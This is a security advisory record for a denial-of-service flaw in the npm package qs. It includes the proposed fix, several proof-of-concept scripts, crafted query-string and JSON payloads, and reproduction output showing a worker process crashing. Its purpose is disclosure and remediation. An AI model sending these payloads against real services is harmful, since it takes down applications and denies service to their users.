var isBuffer = function isBuffer(obj) {
if (!obj || typeof obj !== 'object') { return false; }
if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
return Buffer.isBuffer(obj);
}
return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};
If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "qs"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.5"
},
{
"fixed": "6.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-82417"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:45:13Z",
"nvd_published_at": "2026-08-30T00:16:34Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` \u2192 `stringify` round-trip \u2014 no `JSON.parse` \u2014 turns an unauthenticated query string into an uncaught throw.\n\nAn attacker-controlled `parse` input reaches the host application\u0027s availability asset \u2014 via `qs`\u0027s own recommended `plainObjects` mitigation \u2014 and triggers an uncaught exception during a `parse` \u2192 `stringify` round-trip.\n\n### Details\n`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:\n\n```js\nif (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }\n```\n\n`utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n if (!obj || typeof obj !== \u0027object\u0027) { return false; }\n return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n};\n```\n\n`constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation.\n\n\n### Trust Boundary Note\n\n`qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` \u2014 the standard round-trip in gateways and request-forwarders \u2014 then hits the unchecked call. \n\n\n### PoC\n`poc02c_isBuffer_qs_only_roundtrip.js` \u2014 pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\n\nvar untrustedQueryString = \u0027x%5Bconstructor%5D%5BisBuffer%5D=y\u0027; // x[constructor][isBuffer]=y\n\nvar parsed = qs.parse(untrustedQueryString, { plainObjects: true });\nconsole.log(\u0027[parse] kept constructor key:\u0027, JSON.stringify(parsed));\n\ntry {\n qs.stringify(parsed);\n console.log(\u0027[stringify] no throw (unexpected)\u0027);\n} catch (e) {\n console.log(\u0027[stringify] DoS reproduced -\u003e\u0027, e.constructor.name + \u0027:\u0027, e.message);\n}\n```\n\n`poc02_isBuffer.js` \u2014 the minimal defect:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\ntry {\n qs.stringify(JSON.parse(\u0027{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}\u0027));\n} catch (e) {\n console.log(\u0027[A] DoS reproduced -\u003e\u0027, e.constructor.name + \u0027:\u0027, e.message);\n}\n```\n\n`poc02b_isBuffer_async_crash.js` \u2014 worker death in an async sink:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\n\nfunction handleRequestAsync(clientJsonBody) {\n try {\n setImmediate(function () { // async continuation, outside the try\n qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught\n });\n console.log(\u0027[handler] returned 200 synchronously; async work scheduled\u0027);\n } catch (e) {\n console.log(\u0027[handler] caught synchronously (will NOT happen):\u0027, e.message);\n }\n}\nprocess.on(\u0027exit\u0027, function (code) {\n console.log(\u0027[proc] process exiting with code:\u0027, code);\n});\nhandleRequestAsync(\u0027{\"filters\":{\"constructor\":{\"isBuffer\":\"x\"}}}\u0027);\n```\n\n### Execution Steps\n\n```bash\ncd poc\nnpm install qs@6.15.3\nnode poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse-\u003estringify -\u003e TypeError\nnode poc02_isBuffer.js # minimal defect -\u003e TypeError inside stringify\nnode poc02b_isBuffer_async_crash.js # async sink -\u003e uncaught throw -\u003e exit code 1\n```\n\n### Reproduction Evidence\n\n`poc02c_isBuffer_qs_only_roundtrip.js` :\n\n```\n[parse] kept constructor key: {\"x\":{\"constructor\":{\"isBuffer\":\"y\"}}}\n[stringify] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02_isBuffer.js`:\n\n```\n[A] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02b_isBuffer_async_crash.js` :\n\n```\n[handler] returned 200 synchronously; async work scheduled\n[proc] process exiting with code: 1\nTypeError: obj.constructor.isBuffer is not a function\n at Object.isBuffer (.../qs/lib/utils.js:332:78)\n at stringify (.../qs/lib/stringify.js:127:45)\n=== EXIT CODE: 1 ===\n```\n\nThe pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.\n\n### Impact\n\nAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application\u0027s error handling, not on `qs`.\n\n### Recommended Fix\n\nReplace the duck-type with a brand check mirroring `utils.isRegExp`:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n if (!obj || typeof obj !== \u0027object\u0027) { return false; }\n if (typeof Buffer !== \u0027undefined\u0027 \u0026\u0026 typeof Buffer.isBuffer === \u0027function\u0027) {\n return Buffer.isBuffer(obj);\n }\n return Object.prototype.toString.call(obj) === \u0027[object Uint8Array]\u0027;\n};\n```\n\nIf duck-typing must remain, require `typeof obj.constructor.isBuffer === \u0027function\u0027` before invoking and wrap the call in `try/catch`.",
"id": "GHSA-4mjr-xmp4-gh2g",
"modified": "2026-09-02T14:45:13Z",
"published": "2026-09-02T14:45:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82417"
},
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/ljharb/qs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "qs: Denial of Service via Attacker Controlled isBuffer"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.